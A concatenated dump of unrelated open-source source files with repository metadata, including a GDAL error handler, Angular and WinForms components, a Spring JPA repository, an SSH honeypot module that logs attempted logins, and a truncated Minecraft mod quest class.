MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include <windows.h> #include "fyba.h" static short sProsent; void LC_Error(short feil_nr, const char *logtx, const char *vartx) { char szErrMsg[260] = {}; char *pszFeilmelding = NULL; // Translate all to English. // Egen enkel implementasjon av feilhandtering /* Hent feilmeldingstekst og strategi */ const short strategi = LC_StrError(feil_nr,&pszFeilmelding); switch(strategi) { case 2: sprintf(szErrMsg,"%s","Observer følgende! \n\n");break; case 3: sprintf(szErrMsg,"%s","Det er oppstått en feil! \n\n");break; case 4: sprintf(szErrMsg,"%s","Alvorlig feil avslutt programmet! \n\n");break; default: /*szErrMsg[0]='\0';*/ break; } } void LC_StartMessage(const char *pszFilnavn) {} void LC_ShowMessage(double prosent) // TODO: prosent? {} void LC_EndMessage(void) {} short LC_Cancel(void) { // Not supported. return FALSE; }
grueni75/GeoDiscoverer
Source/Platform/Target/Android/core/src/main/jni/gdal-3.2.1/ogr/ogrsf_frmts/sosi/fyba_melding.cpp
C++
gpl-3.0
2,499
package io.nadron.app.impl; public class InvalidCommandException extends Exception { /** * Eclipse generated serial id. */ private static final long serialVersionUID = 6458355917188516937L; public InvalidCommandException(String message) { super(message); } public InvalidCommandException(String message, Exception e) { super(message,e); } }
wangxiaogangan/EC_Game
Server/elementproject/nadron/src/main/java/io/nadron/app/impl/InvalidCommandException.java
Java
gpl-3.0
360
<?php include 'copyright.php' ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Carnaval - BDL NDC </title> <?php include 'css.php';?> <?php include 'cssCA.php';?> <?php include 'js.php';?> <?php include_once("analyticstracking.php") ?> <?php include 'favicon.php';?> </head> <body> <?php include 'header.php';?> <div class="container"> <div class="row"> <div class="box"> <div> <a href="BH.php" class="linkbehaviour pull-left"> <i class="fa fa-lg fa-long-arrow-left"></i> <span class="fa-lg">Bal d'Hiver</span> </a> <a href="JDT.php"class="linkbehaviour pull-right arrows"> <span class="fa-lg">Journée des Talents</span> <i class="fa fa-lg fa-long-arrow-right"> </i> </a> </div> <br><br> <br><!-- <div class="camera-link text-center"> <a href="https://www.facebook.com/pg/bdlndc1617/photos/?tab=album&album_id=1513152382046078"> <i class="fa fa-camera fa-3x"></i> <span class="text">Album n°1</span> </a> <a href="https://www.facebook.com/pg/bdlndc1617/photos/?tab=album&album_id=1524974864197163"> <i class="fa fa-camera fa-3x"></i> <span class="text">Album n°2</span> </a> <br>Retrouve les photos du Carnaval 2017 ici ! </div>--> <hr class="tagline-divider"> <h3 class="text-center">Carnaval 2017</h3> <hr class="tagline-divider" style="margin-bottom:20px;"> <div class="col-lg-6"> <img class="img-responsive img-full" src="img/CA16-17.jpg"> </div> <div class="col-lg-6"> <p class="text-center">Suivant la restriction sur les déguisements pour Halloween, le BDL a décidé d'introduire une nouvelle journée à thème en mars.<br> Contrairement à d'habitude, le thème n'est pas fixé, mais choisi par vous et votre classe !!<br> Chaque classe choisit son propre thème, n'oubliez pas de faire participer vos professeurs principaux, ils n'attendent que ça !<br> L'évènement est prévu pour le jeudi 23 Mars, mais il devrait être décalé au jeudi 16 Mars au vu des différents séjours de classe prévu la semaine du 23.<br> Tenez-vous au courant !</p> </div> <!--<br> <hr> <br> <div class="col-lg-12"> <br> <hr> <br> <?php include 'slideCA.php' ?> </div> --> </div> </div> </div> <?php include 'footer.php';?> </body> </html>
BDL-NDC/bdlsite
CA.php
PHP
gpl-3.0
2,625
/* * GrGen: graph rewrite generator tool -- release GrGen.NET 4.4 * Copyright (C) 2003-2015 Universitaet Karlsruhe, Institut fuer Programmstrukturen und Datenorganisation, LS Goos; and free programmers * licensed under LGPL v3 (see LICENSE.txt included in the packaging of this file) * www.grgen.net */ /** * @author Edgar Jakumeit */ package de.unika.ipd.grgen.ast.exprevals; import java.util.Collection; import java.util.Map; import java.util.Vector; import de.unika.ipd.grgen.ast.*; import de.unika.ipd.grgen.ast.util.CollectResolver; import de.unika.ipd.grgen.ast.util.DeclarationResolver; import de.unika.ipd.grgen.ast.util.DeclarationTypeResolver; import de.unika.ipd.grgen.ir.IR; import de.unika.ipd.grgen.ir.InheritanceType; import de.unika.ipd.grgen.ir.exprevals.ExternalFunctionMethod; import de.unika.ipd.grgen.ir.exprevals.ExternalProcedureMethod; import de.unika.ipd.grgen.ir.exprevals.ExternalType; /** * A class representing a node type */ public class ExternalTypeNode extends InheritanceTypeNode { static { setName(ExternalTypeNode.class, "external type"); } private CollectNode<ExternalTypeNode> extend; /** * Create a new external type * @param ext The collect node containing the types which are extended by this type. */ public ExternalTypeNode(CollectNode<IdentNode> ext, CollectNode<BaseNode> body) { this.extendUnresolved = ext; becomeParent(this.extendUnresolved); this.bodyUnresolved = body; becomeParent(this.bodyUnresolved); // allow the conditional operator on the external type OperatorSignature.makeOp(OperatorSignature.COND, this, new TypeNode[] { BasicTypeNode.booleanType, this, this }, OperatorSignature.condEvaluator ); } /** returns children of this node */ @Override public Collection<BaseNode> getChildren() { Vector<BaseNode> children = new Vector<BaseNode>(); children.add(getValidVersion(extendUnresolved, extend)); children.add(getValidVersion(bodyUnresolved, body)); return children; } /** returns names of the children, same order as in getChildren */ @Override public Collection<String> getChildrenNames() { Vector<String> childrenNames = new Vector<String>(); childrenNames.add("extends"); childrenNames.add("body"); return childrenNames; } private static final CollectResolver<ExternalTypeNode> extendResolver = new CollectResolver<ExternalTypeNode>( new DeclarationTypeResolver<ExternalTypeNode>(ExternalTypeNode.class)); @SuppressWarnings("unchecked") private static final CollectResolver<BaseNode> bodyResolver = new CollectResolver<BaseNode>( new DeclarationResolver<BaseNode>(ExternalFunctionDeclNode.class, ExternalProcedureDeclNode.class)); /** @see de.unika.ipd.grgen.ast.BaseNode#resolveLocal() */ @Override protected boolean resolveLocal() { body = bodyResolver.resolve(bodyUnresolved, this); extend = extendResolver.resolve(extendUnresolved, this); // Initialize direct sub types if (extend != null) { for (InheritanceTypeNode type : extend.getChildren()) { type.addDirectSubType(this); } } return body != null && extend != null; } /** * Get the IR external type for this AST node. * @return The correctly casted IR external type. */ protected ExternalType getExternalType() { return checkIR(ExternalType.class); } /** * Construct IR object for this AST node. * @see de.unika.ipd.grgen.ast.BaseNode#constructIR() */ @Override protected IR constructIR() { ExternalType et = new ExternalType(getDecl().getIdentNode().getIdent()); if (isIRAlreadySet()) { // break endless recursion in case of a member of node/edge type return getIR(); } else{ setIR(et); } constructIR(et); return et; } protected void constructIR(ExternalType extType) { for(BaseNode n : body.getChildren()) { if(n instanceof ExternalFunctionDeclNode) { extType.addExternalFunctionMethod(n.checkIR(ExternalFunctionMethod.class)); } else { extType.addExternalProcedureMethod(n.checkIR(ExternalProcedureMethod.class)); } } for(InheritanceTypeNode inh : getExtends().getChildren()) { extType.addDirectSuperType((InheritanceType)inh.getType()); } } protected CollectNode<? extends InheritanceTypeNode> getExtends() { return extend; } @Override public void doGetCompatibleToTypes(Collection<TypeNode> coll) { assert isResolved(); for(ExternalTypeNode inh : extend.getChildren()) { coll.add(inh); coll.addAll(inh.getCompatibleToTypes()); } } public static String getKindStr() { return "external type"; } public static String getUseStr() { return "external type"; } @Override protected Collection<ExternalTypeNode> getDirectSuperTypes() { assert isResolved(); return extend.getChildren(); } @Override protected void getMembers(Map<String, DeclNode> members) { for(BaseNode n : body.getChildren()) { if(n instanceof ExternalFunctionDeclNode) { ExternalFunctionDeclNode function = (ExternalFunctionDeclNode)n; for(InheritanceTypeNode base : getAllSuperTypes()) { for(BaseNode c : base.getBody().getChildren()) { if(c instanceof ExternalFunctionDeclNode) { ExternalFunctionDeclNode functionBase = (ExternalFunctionDeclNode)c; if(function.ident.toString().equals(functionBase.ident.toString())) checkSignatureAdhered(functionBase, function); } } } } else if(n instanceof ExternalProcedureDeclNode) { ExternalProcedureDeclNode procedure = (ExternalProcedureDeclNode)n; for(InheritanceTypeNode base : getAllSuperTypes()) { for(BaseNode c : base.getBody().getChildren()) { if(c instanceof ExternalProcedureDeclNode) { ExternalProcedureDeclNode procedureBase = (ExternalProcedureDeclNode)c; if(procedure.ident.toString().equals(procedureBase.ident.toString())) checkSignatureAdhered(procedureBase, procedure); } } } } } } }
jblomer/GrGen.NET
frontend/de/unika/ipd/grgen/ast/exprevals/ExternalTypeNode.java
Java
gpl-3.0
5,929
using System; using System.Collections; using System.Collections.Generic; using System.Collections.ObjectModel; using System.IO; using System.Linq; namespace Abide.Tag { public class Block : ITagBlock, IEnumerable<Field>, IEquatable<Block> { private string name = string.Empty; private string displayName = string.Empty; private int alignment = 4; private int maximumElementCount = 0; public ObservableCollection<Field> Fields { get; } = new ObservableCollection<Field>(); public long BlockAddress { get; private set; } = 0; public int Size => GetBlockSize(); public int FieldCount => Fields.Count; public virtual int Alignment { get => alignment; private set => alignment = value; } public virtual int MaximumElementCount { get => maximumElementCount; private set => maximumElementCount = value; } public virtual string Name { get => name; private set => name = value; } public virtual string DisplayName { get => displayName; private set => displayName = value; } public string Label { get => GetLabel(); } protected Block() { } public object Clone() { Block b = new Block() { name = Name, displayName = DisplayName, alignment = Alignment, maximumElementCount = MaximumElementCount, BlockAddress = BlockAddress, }; foreach (var field in Fields) { b.Fields.Add((Field)field.Clone()); } return b; } public bool Equals(Block other) { bool equals = Fields.Count == other.Fields.Count && Name == other.Name; if (equals) for (int i = 0; i < Fields.Count; i++) { if (!equals) break; Field f1 = Fields[i], f2 = other.Fields[i]; equals &= f1.Type == f2.Type; if (equals) switch (Fields[i].Type) { case FieldType.FieldBlock: BlockField bf1 = (BlockField)f1; BlockField bf2 = (BlockField)f2; equals &= bf1.BlockList.Count == bf2.BlockList.Count; if (equals) for (int j = 0; j < bf1.BlockList.Count; j++) if (equals) equals = bf1.BlockList[j].Equals(bf2.BlockList[j]); break; case FieldType.FieldStruct: equals &= ((Block)f1.GetValue()).Equals((Block)f2.GetValue()); break; case FieldType.FieldPad: PadField pf1 = (PadField)f1; PadField pf2 = (PadField)f2; for (int j = 0; j < pf1.Length; j++) if (equals) equals &= pf1.Data[j] == pf2.Data[j]; break; default: if (f1.GetValue() == null && f2.GetValue() == null) continue; else equals &= f1.GetValue().Equals(f2.GetValue()); break; } } return equals; } public override string ToString() { return DisplayName; } public virtual void Initialize() { } public virtual void Read(BinaryReader reader) { if (reader == null) throw new ArgumentNullException(nameof(reader)); BlockAddress = reader.BaseStream.Position; foreach (Field field in Fields) { field.Read(reader); } } public virtual void Write(BinaryWriter writer) { if (writer == null) throw new ArgumentNullException(nameof(writer)); BlockAddress = writer.BaseStream.Position; foreach (Field field in Fields) { field.Write(writer); } } public virtual void Overwrite(BinaryWriter writer) { foreach (Field field in Fields) { field.Overwrite(writer); } } public virtual void PostWrite(BinaryWriter writer) { foreach (Field field in Fields) { field.PostWrite(writer); } } protected virtual string GetLabel() { if (Fields.Any(f => f.IsBlockName)) { return string.Join(", ", Fields .Where(f => f.IsBlockName) .Select(f => f.GetValueString())); } return DisplayName; } private int GetBlockSize() { int size = Fields.Sum(f => f.Size); return size; } public virtual IEnumerator<Field> GetEnumerator() { return Fields.GetEnumerator(); } ITagField ITagBlock.this[int index] { get => Fields[index]; set { if (value is Field field) { Fields[index] = field; } throw new ArgumentException("Invalid field.", nameof(value)); } } int ITagBlock.Size => Size; int ITagBlock.MaximumElementCount => MaximumElementCount; int ITagBlock.Alignment => Alignment; string ITagBlock.BlockName => Name; string ITagBlock.DisplayName => DisplayName; void ITagBlock.Initialize() { Initialize(); } void IReadable.Read(BinaryReader reader) { Read(reader ?? throw new ArgumentNullException(nameof(reader))); } void IWritable.Write(BinaryWriter writer) { Write(writer ?? throw new ArgumentNullException(nameof(writer))); } IEnumerator<ITagField> IEnumerable<ITagField>.GetEnumerator() { foreach (var field in Fields) yield return field; } IEnumerator IEnumerable.GetEnumerator() { return GetEnumerator(); } } }
MikeMatt16/Abide
Abide.Guerilla/Abide.Tag/Block.cs
C#
gpl-3.0
6,725
import { Component, OnInit } from '@angular/core'; import { Serie } from './model/serie.model'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent implements OnInit { constructor() { } ngOnInit() { } }
jorgeas80/webhub
ng2/appseries/src/app/app.component.ts
TypeScript
gpl-3.0
301
#region header // ======================================================================== // Copyright (c) 2018 - Julien Caillon (julien.caillon@gmail.com) // This file (PositionTracker.cs) is part of 3P. // // 3P is a free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // 3P is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with 3P. If not, see <http://www.gnu.org/licenses/>. // ======================================================================== #endregion using System; namespace _3PA.Lib.CommonMark.Parser { internal sealed class PositionTracker { public PositionTracker(int blockOffset) { _blockOffset = blockOffset; } private static readonly PositionOffset EmptyPositionOffset = default(PositionOffset); private int _blockOffset; public void AddBlockOffset(int offset) { _blockOffset += offset; } public void AddOffset(LineInfo line, int startIndex, int length) { if (OffsetCount + line.OffsetCount + 2 >= Offsets.Length) Array.Resize(ref Offsets, Offsets.Length + line.OffsetCount + 20); PositionOffset po1, po2; if (startIndex > 0) po1 = new PositionOffset( CalculateOrigin(line.Offsets, line.OffsetCount, line.LineOffset, false, true), startIndex); else po1 = EmptyPositionOffset; if (line.Line.Length - startIndex - length > 0) po2 = new PositionOffset( CalculateOrigin(line.Offsets, line.OffsetCount, line.LineOffset + startIndex + length, false, true), line.Line.Length - startIndex - length); else po2 = EmptyPositionOffset; var indexAfterLastCopied = 0; if (po1.Offset == 0) { if (po2.Offset == 0) goto FINTOTAL; po1 = po2; po2 = EmptyPositionOffset; } for (var i = 0; i < line.OffsetCount; i++) { var pc = line.Offsets[i]; if (pc.Position > po1.Position) { if (i > indexAfterLastCopied) { Array.Copy(line.Offsets, indexAfterLastCopied, Offsets, OffsetCount, i - indexAfterLastCopied); OffsetCount += i - indexAfterLastCopied; indexAfterLastCopied = i; } Offsets[OffsetCount++] = po1; po1 = po2; if (po1.Offset == 0) goto FIN; po2 = EmptyPositionOffset; } } FIN: if (po1.Offset != 0) Offsets[OffsetCount++] = po1; if (po2.Offset != 0) Offsets[OffsetCount++] = po2; FINTOTAL: Array.Copy(line.Offsets, indexAfterLastCopied, Offsets, OffsetCount, line.OffsetCount - indexAfterLastCopied); OffsetCount += line.OffsetCount - indexAfterLastCopied; } public int CalculateInlineOrigin(int position, bool isStartPosition) { return CalculateOrigin(Offsets, OffsetCount, _blockOffset + position, true, isStartPosition); } internal static int CalculateOrigin(PositionOffset[] offsets, int offsetCount, int position, bool includeReduce, bool isStart) { if (isStart) position++; var minus = 0; for (var i = 0; i < offsetCount; i++) { var po = offsets[i]; if (po.Position < position) { if (po.Offset > 0) position += po.Offset; else minus += po.Offset; } else break; } if (includeReduce) position += minus; if (isStart) position--; return position; } private PositionOffset[] Offsets = new PositionOffset[10]; private int OffsetCount; } }
jcaillon/3P
3PA/Lib/CommonMark/Parser/PositionTracker.cs
C#
gpl-3.0
4,594
using MaterialSkin.Controls; using System; using System.Drawing; using System.Windows.Forms; using WinFormsTranslator; /// <summary> /// SA:MP launcher .NET namespace /// </summary> namespace SAMPLauncherNET { /// <summary> /// Connect form class /// </summary> public partial class ConnectForm : MaterialForm { /// <summary> /// Username /// </summary> public string Username { get { return usernameSingleLineTextField.Text.Trim(); } } /// <summary> /// Server password /// </summary> public string ServerPassword { get { return serverPasswordSingleLineTextField.Text; } } /// <summary> /// Constructor /// </summary> /// <param name="noPasswordMode">No password mode</param> public ConnectForm(bool noPasswordMode) { InitializeComponent(); Utils.Translator.TranslateControls(this); usernameSingleLineTextField.Text = SAMP.Username; if (noPasswordMode) { serverPasswordLabel.Visible = false; serverPasswordSingleLineTextField.Visible = false; Size sz = new Size(MinimumSize.Width, MinimumSize.Height - 55); MaximumSize = sz; MinimumSize = sz; } } /// <summary> /// Accept input /// </summary> private void AcceptInput() { if (Username.Length <= 0) { MessageBox.Show(Utils.Translator.GetTranslation("PLEASE_TYPE_IN_USERNAME"), Utils.Translator.GetTranslation("INPUT_ERROR"), MessageBoxButtons.OK, MessageBoxIcon.Error); } else { bool success = true; if (serverPasswordSingleLineTextField.Visible && (ServerPassword.Trim().Length <= 0)) { success = (MessageBox.Show(Utils.Translator.GetTranslation("SERVER_PASSWORD_FIELD_IS_EMPTY"), Utils.Translator.GetTranslation("SERVER_PASSWORD_FIELD_IS_EMPTY_TITLE"), MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == DialogResult.Yes); } if (success) { if (!(tempUsernameCheckBox.Checked)) { SAMP.Username = Username; } DialogResult = DialogResult.OK; Close(); } } } /// <summary> /// Connect button click event /// </summary> /// <param name="sender">Sender</param> /// <param name="e">Event arguments</param> private void connectButton_Click(object sender, EventArgs e) { AcceptInput(); } /// <summary> /// Cancel button click event /// </summary> /// <param name="sender">Sender</param> /// <param name="e">Event arguments</param> private void cancelButton_Click(object sender, EventArgs e) { Close(); } /// <summary> /// Generic single line text field key up event /// </summary> /// <param name="sender">Sender</param> /// <param name="e">Key event arguments</param> private void genericSingleLineTextField_KeyUp(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Return) { AcceptInput(); } else if (e.KeyCode == Keys.Escape) { Close(); } } } }
BigETI/SAMPLauncherNET
SAMPLauncherNET/Source/SAMPLauncherNET/UI/Forms/ConnectForm.cs
C#
gpl-3.0
3,748
using System.ComponentModel; namespace SmartLogReader { public enum WorkerProgressCode { StartedWork, StillWorking, FinishedWork, CustomCode } public class Worker { public Worker() { worker = new BackgroundWorker(); worker.WorkerReportsProgress = true; worker.WorkerSupportsCancellation = true; worker.DoWork += WorkerDoWork; worker.ProgressChanged += WorkerProgressChanged; worker.RunWorkerCompleted += WorkerRunWorkerCompleted; } protected BackgroundWorker worker; public delegate void WorkerProgressChangedEventHandler(object sender, WorkerProgressCode code, string text); public event WorkerProgressChangedEventHandler ProgressChanged; protected virtual void ReportProgress(WorkerProgressCode code, string text = null) { if (worker.IsBusy) { try { worker.ReportProgress((int)code, text); return; } catch { } } ProgressChanged?.Invoke(this, code, text); } void WorkerProgressChanged(object sender, ProgressChangedEventArgs e) { ProgressChanged?.Invoke(this, (WorkerProgressCode)e.ProgressPercentage, e.UserState as string); } void WorkerRunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e) { AfterWork(e); ProgressChanged?.Invoke(this, WorkerProgressCode.FinishedWork, e.Cancelled ? "Cancelled" : e.Error != null ? ("Error: " + e.Error.Message) : null); } void WorkerDoWork(object sender, DoWorkEventArgs e) { doWorkEventArgs = e; AtWork(); } protected DoWorkEventArgs doWorkEventArgs; public virtual bool IsBusy { get { return worker.IsBusy; } } public virtual bool Start() { if (IsBusy) return false; worker.RunWorkerAsync(); return true; } public virtual void Stop() { if (IsBusy) worker.CancelAsync(); } protected virtual void AtWork() { ReportProgress(WorkerProgressCode.StartedWork); if (worker.CancellationPending) { doWorkEventArgs.Cancel = true; return; } ReportProgress(WorkerProgressCode.StillWorking); } protected virtual void AfterWork(RunWorkerCompletedEventArgs e) { } } }
wolfoerster/SmartLogReader
Utilities/Worker.cs
C#
gpl-3.0
2,751
# Copyright (C) 2017 Roman Samoilenko <ttahabatt@gmail.com> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import os import logging import functools from heralding.capabilities.handlerbase import HandlerBase import asyncssh from Crypto.PublicKey import RSA logger = logging.getLogger(__name__) class SSH(asyncssh.SSHServer, HandlerBase): connections_list = [] def __init__(self, options, loop): asyncssh.SSHServer.__init__(self) HandlerBase.__init__(self, options, loop) def connection_made(self, conn): SSH.connections_list.append(conn) self.address = conn.get_extra_info('peername') self.dest_address = conn.get_extra_info('sockname') self.connection = conn self.handle_connection() logger.debug('SSH connection received from %s.' % conn.get_extra_info('peername')[0]) def connection_lost(self, exc): self.session.set_auxiliary_data(self.get_auxiliary_data()) self.close_session(self.session) if exc: logger.debug('SSH connection error: ' + str(exc)) else: logger.debug('SSH connection closed.') def begin_auth(self, username): return True def password_auth_supported(self): return True def validate_password(self, username, password): self.session.add_auth_attempt( 'plaintext', username=username, password=password) return False def handle_connection(self): if HandlerBase.global_sessions > HandlerBase.MAX_GLOBAL_SESSIONS: protocol = self.__class__.__name__.lower() logger.warning( 'Got {0} session on port {1} from {2}:{3}, but not handling it because the global session limit has ' 'been reached'.format(protocol, self.port, *self.address)) else: self.session = self.create_session(self.address, self.dest_address) def get_auxiliary_data(self): data_fields = [ 'client_version', 'recv_cipher', 'recv_mac', 'recv_compression' ] data = {f: self.connection.get_extra_info(f) for f in data_fields} return data @staticmethod def change_server_banner(banner): """_send_version code was copied from asyncssh.connection in order to change internal local variable 'version', providing custom banner.""" @functools.wraps(asyncssh.connection.SSHConnection._send_version) def _send_version(self): """Start the SSH handshake""" version = bytes(banner, 'utf-8') if self.is_client(): self._client_version = version self._extra.update(client_version=version.decode('ascii')) else: self._server_version = version self._extra.update(server_version=version.decode('ascii')) self._send(version + b'\r\n') asyncssh.connection.SSHConnection._send_version = _send_version @staticmethod def generate_ssh_key(ssh_key_file): if not os.path.isfile(ssh_key_file): with open(ssh_key_file, 'w') as _file: rsa_key = RSA.generate(2048) priv_key_text = str(rsa_key.exportKey('PEM', pkcs=1), 'utf-8') _file.write(priv_key_text)
johnnykv/heralding
heralding/capabilities/ssh.py
Python
gpl-3.0
3,627
/* * Copyright 2002-2017 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.drdolittle.petclinic.petclinic.repository.jpa; import java.util.Collection; import java.util.List; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import javax.persistence.Query; import com.drdolittle.petclinic.petclinic.repository.VisitRepository; import org.springframework.context.annotation.Profile; import org.springframework.dao.DataAccessException; import com.drdolittle.petclinic.petclinic.model.Visit; import org.springframework.stereotype.Repository; /** * JPA implementation of the ClinicService interface using EntityManager. * <p/> * <p>The mappings are defined in "orm.xml" located in the META-INF directory. * */ @Repository @Profile("jpa") public class JpaVisitRepositoryImpl implements VisitRepository { @PersistenceContext private EntityManager em; @Override public void save(Visit visit) { if (visit.getId() == null) { this.em.persist(visit); } else { this.em.merge(visit); } } @Override @SuppressWarnings("unchecked") public List<Visit> findByPetId(Integer petId) { Query query = this.em.createQuery("SELECT v FROM Visit v where v.pet.id= :id"); query.setParameter("id", petId); return query.getResultList(); } @Override public Visit findById(int id) throws DataAccessException { return this.em.find(Visit.class, id); } @SuppressWarnings("unchecked") @Override public Collection<Visit> findAll() throws DataAccessException { return this.em.createQuery("SELECT v FROM Visit v").getResultList(); } @Override public void delete(Visit visit) throws DataAccessException { String visitId = visit.getId().toString(); this.em.createQuery("DELETE FROM Visit visit WHERE id=" + visitId).executeUpdate(); if (em.contains(visit)) { em.remove(visit); } } }
shekharcs1-/Test
service/src/main/java/com/drdolittle/petclinic/petclinic/repository/jpa/JpaVisitRepositoryImpl.java
Java
gpl-3.0
2,491
<?php namespace StoreCore\StoreFront; /** * Uniform Resource Identifier (URI) * * @author Ward van der Put <Ward.van.der.Put@gmail.com> * @copyright Copyright (c) 2015-2016 StoreCore * @license http://www.gnu.org/licenses/gpl.html GNU General Public License * @package StoreCore\Core * @version 0.1.0 */ class Location extends \StoreCore\AbstractController { const VERSION = '0.1.0'; /** @var string $Location */ private $Location; /** * @param \StoreCore\Registry $registry * @return void */ public function __construct(\StoreCore\Registry $registry) { parent::__construct($registry); $this->set($this->Request->getHostName() . $this->Request->getRequestPath()); } /** * @param void * @return string */ public function __toString() { return $this->get(); } /** * @param void * @return string */ public function get() { return $this->Location; } /** * Set the location by a URI or URL. * * @param string $uri * * @return void * * @todo This method strips index file names like "index.php" from URLs, so * these currently are simply ignored. Another, more strict approach * would be to disallow directory listings with a "Directory listing * denied" HTTP response or a redirect. */ public function set($uri) { // Remove query string parameters $uri = explode('?', $uri)[0]; // Enforce lowercase URLs $uri = mb_strtolower($uri, 'UTF-8'); // Drop common webserver directory indexes $uri = str_replace(array('default.aspx', 'default.asp', 'index.html', 'index.htm', 'index.shtml', 'index.php'), null, $uri); // Strip common extensions $uri = str_replace(array('.aspx', '.asp', '.html', '.htm', '.jsp', '.php'), null, $uri); // Replace special characters $uri = preg_replace('~[^\\pL\d.]+~u', '-', $uri); $uri = trim($uri, '-'); $uri = iconv('UTF-8', 'US-ASCII//TRANSLIT//IGNORE', $uri); $uri = str_ireplace(array('"', '`', '^', '~'), null, $uri); $uri = urlencode($uri); $this->Location = $uri; } }
storecore/releases
StoreCore/StoreFront/Location.php
PHP
gpl-3.0
2,258
/* -------------------------------------------------------------------------------- This source file is part of Hydrax. Visit --- Copyright (C) 2008 Xavier Vergu�n Gonz�lez <xavierverguin@hotmail.com> <xavyiy@gmail.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA, or go to http://www.gnu.org/copyleft/lesser.txt. -------------------------------------------------------------------------------- */ #include "Prerequisites.h" namespace Hydrax { }
junrw/ember-gsoc2012
src/components/ogre/environment/hydrax/src/Prerequisites.cpp
C++
gpl-3.0
1,155
<?php return [ 'accounts' => [ 'cash' => 'Bargeld', ], 'categories' => [ 'deposit' => 'Einzahlung', 'sales' => 'Vertrieb', ], 'currencies' => [ 'usd' => 'US-Dollar', 'eur' => 'Euro', 'gbp' => 'Britisches Pfund', 'try' => 'Türkische Lira', ], 'offline_payments' => [ 'cash' => 'Bargeld', 'bank' => 'Banküberweisung', ], 'reports' => [ 'income' => 'Monatliche Zusammenfassung der Einnahmen nach Kategorie.', 'expense' => 'Monatliche Zusammenfassung der Ausgaben nach Kategorie.', 'income_expense' => 'Monatlicher Vergleich Einkommen vs Ausgaben nach Kategorie.', 'tax' => 'Vierteljährliche Steuerzusammenfassung.', 'profit_loss' => 'Quartalsweise Gewinn & Verlust nach Kategorie.', ], ];
akaunting/akaunting
resources/lang/de-DE/demo.php
PHP
gpl-3.0
1,009
package net.torocraft.toroquest.civilization.quests; import java.util.ArrayList; import java.util.List; import java.util.Random; import java.util.UUID; import net.minecraft.block.Block; import net.minecraft.enchantment.Enchantment; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.init.Blocks; import net.minecraft.init.Items; import net.minecraft.inventory.EntityEquipmentSlot; import net.minecraft.item.ItemStack; import net.minecraft.item.ItemTool; import net.minecraft.nbt.NBTTagString; import net.minecraft.util.text.TextComponentString; import net.minecraftforge.common.MinecraftForge; import net.minecraftforge.event.world.BlockEvent.HarvestDropsEvent; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; import net.torocraft.toroquest.civilization.Province; import net.torocraft.toroquest.civilization.quests.util.QuestData; import net.torocraft.toroquest.civilization.quests.util.Quests; /** * provide a special pick or shovel */ public class QuestMine extends QuestBase { public static QuestMine INSTANCE; private static final Block[] BLOCK_TYPES = { Blocks.GRAVEL, Blocks.STONE, Blocks.COAL_ORE, Blocks.IRON_ORE, Blocks.OBSIDIAN, Blocks.REDSTONE_ORE }; public static int ID; public static void init(int id) { INSTANCE = new QuestMine(); Quests.registerQuest(id, INSTANCE); MinecraftForge.EVENT_BUS.register(INSTANCE); ID = id; } @SubscribeEvent public void onMine(HarvestDropsEvent event) { if (event.getHarvester() == null) { return; } EntityPlayer player = event.getHarvester(); Province inProvince = loadProvince(event.getHarvester().world, event.getPos()); if (inProvince == null || inProvince.civilization == null) { return; } ItemStack tool = player.getItemStackFromSlot(EntityEquipmentSlot.MAINHAND); if (!tool.hasTagCompound()) { return; } String questId = tool.getTagCompound().getString("mine_quest"); String provinceId = tool.getTagCompound().getString("province"); if (questId == null || provinceId == null || !provinceId.equals(inProvince.id.toString())) { return; } QuestData data = getQuestById(player, questId); if (data == null) { return; } if (notCurrentDepth(event, data)) { return; } if (event.getState().getBlock() != BLOCK_TYPES[getBlockType(data)]) { return; } event.setDropChance(1f); for (ItemStack drop : event.getDrops()) { drop.setTagInfo("mine_quest", new NBTTagString(questId)); drop.setTagInfo("province", new NBTTagString(provinceId)); drop.setStackDisplayName(drop.getDisplayName() + " for " + inProvince.name); } } protected 